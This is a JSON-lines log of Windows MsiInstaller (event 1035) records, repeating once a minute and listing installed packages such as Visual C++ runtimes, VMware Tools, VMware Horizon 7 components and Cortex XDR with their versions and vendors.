{"@timestamp":1657400710666,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171265}}
{"@timestamp":1657400710719,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171266}}
{"@timestamp":1657400710758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171267}}
{"@timestamp":1657400710789,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171268}}
{"@timestamp":1657400710819,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171269}}
{"@timestamp":1657400710849,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171270}}
{"@timestamp":1657400710877,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171271}}
{"@timestamp":1657400710915,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171272}}
{"@timestamp":1657400710943,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171273}}
{"@timestamp":1657400770616,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171274}}
{"@timestamp":1657400770642,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171275}}
{"@timestamp":1657400770691,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171276}}
{"@timestamp":1657400770730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171277}}
{"@timestamp":1657400770758,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171278}}
{"@timestamp":1657400770788,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171279}}
{"@timestamp":1657400770814,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171280}}
{"@timestamp":1657400770839,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171281}}
{"@timestamp":1657400770875,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171282}}
{"@timestamp":1657400770902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171283}}
{"@timestamp":1657400830556,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171284}}
{"@timestamp":1657400830582,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171285}}
{"@timestamp":1657400830631,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171286}}
{"@timestamp":1657400830671,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171287}}
{"@timestamp":1657400830700,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171288}}
{"@timestamp":1657400830744,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171289}}
{"@timestamp":1657400830774,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171290}}
{"@timestamp":1657400830803,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171291}}
{"@timestamp":1657400830844,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171292}}
{"@timestamp":1657400830880,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171293}}
{"@timestamp":1657400890812,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171294}}
{"@timestamp":1657400890838,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171295}}
{"@timestamp":1657400890888,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171296}}
{"@timestamp":1657400890929,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171297}}
{"@timestamp":1657400890958,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171298}}
{"@timestamp":1657400890990,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171299}}
{"@timestamp":1657400891017,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171300}}
{"@timestamp":1657400891044,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171301}}
{"@timestamp":1657400891081,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171302}}
{"@timestamp":1657400891110,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171303}}
{"@timestamp":1657400950569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171304}}
{"@timestamp":1657400950599,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171305}}
{"@timestamp":1657400950654,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171306}}
{"@timestamp":1657400950697,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171307}}
{"@timestamp":1657400950730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171308}}
{"@timestamp":1657400950765,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171309}}
{"@timestamp":1657400950796,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171310}}
{"@timestamp":1657400950825,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171311}}
{"@timestamp":1657400950879,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171312}}
{"@timestamp":1657400950909,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171313}}
{"@timestamp":1657401010360,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171314}}
{"@timestamp":1657401010387,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171315}}
{"@timestamp":1657401010439,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171316}}
{"@timestamp":1657401010480,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171317}}
{"@timestamp":1657401010509,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171318}}
{"@timestamp":1657401010541,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171319}}
{"@timestamp":1657401010569,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171320}}
{"@timestamp":1657401010596,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B45454344443133372D313344412D343645442D414441302D4244463746384245363542387D3030303030626331396461303232656239346563613735613732376236313563323031653030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171321}}
{"@timestamp":1657401010634,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B46444235464538412D303337422D344430442D383542322D3234393844344437414144427D3030303031353734656533326466363635363237336239363032376663366533313065333030303030393034","Data":{"#text":["Cortex XDR 7.0.2.42857","7.0.2.42857","1033","0","Palo Alto Networks, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171322}}
{"@timestamp":1657401010662,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323336454242442D463530462D343042332D423831392D3844423043363038333038437D3030303032656634353435653735633839653138663331333736623139323166636430383030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Minimum Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171323}}
{"@timestamp":1657401070398,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35373244434431302D434632452D343344312D383135312D3842443941433930383644307D3030303034353634613538336564346262383764643434653261346365323530303963323030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X86 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171324}}
{"@timestamp":1657401070424,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B36323041373633332D374130392D343241382D383538302D3037364134343833433442307D3030303063323763396661313962333138653266323934613465653039333334383439643030303030393034","Data":{"#text":["Microsoft Visual C++ 2019 X64 Additional Runtime - 14.28.29913","14.28.29913","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171325}}
{"@timestamp":1657401070476,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B31464635443632342D353531352D343334332D383337412D4535344331303135373345367D3030303038646636353337336430383833346133303635313162343237386637393031663030303030393034","Data":{"#text":["VMware Tools","11.3.5.18557794","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171326}}
{"@timestamp":1657401070516,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B42413846363333342D434233442D343243322D413646462D4334413930413333313442377D3030303066383634303131633662303233343434346239326431326263616136366166633030303030393034","Data":{"#text":["VMware Horizon 7 Connection Server","7.12.0.15770369","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171327}}
{"@timestamp":1657401070545,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B35464345364437362D463544432D333741422D423242382D3232414238434544423144347D3030303063656665303331316334393337636231386464303736333764353765343565373030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171328}}
{"@timestamp":1657401070576,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B32433042364238362D444137332D344139322D384342382D3045453745393846364542367D3030303036636531323466396661316461323735386162393666613462313630383565653030303030393034","Data":{"#text":["VMware Horizon 7 HTML Access","5.4.0.15736269","1033","0","VMware, Inc.","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171329}}
{"@timestamp":1657401070603,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1035,"custom_data":{"EventData":{"Binary":"7B39424535313845362D454343362D333541392D383845342D3837373535433037323030467D3030303038363931373737616436383539393232666532383539343961663733356439333030303030393034","Data":{"#text":["Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161","9.0.30729.6161","1033","0","Microsoft Corporation","(NULL)",""]}}},"module":"Application","provider":"MsiInstaller","sequence":171330}}
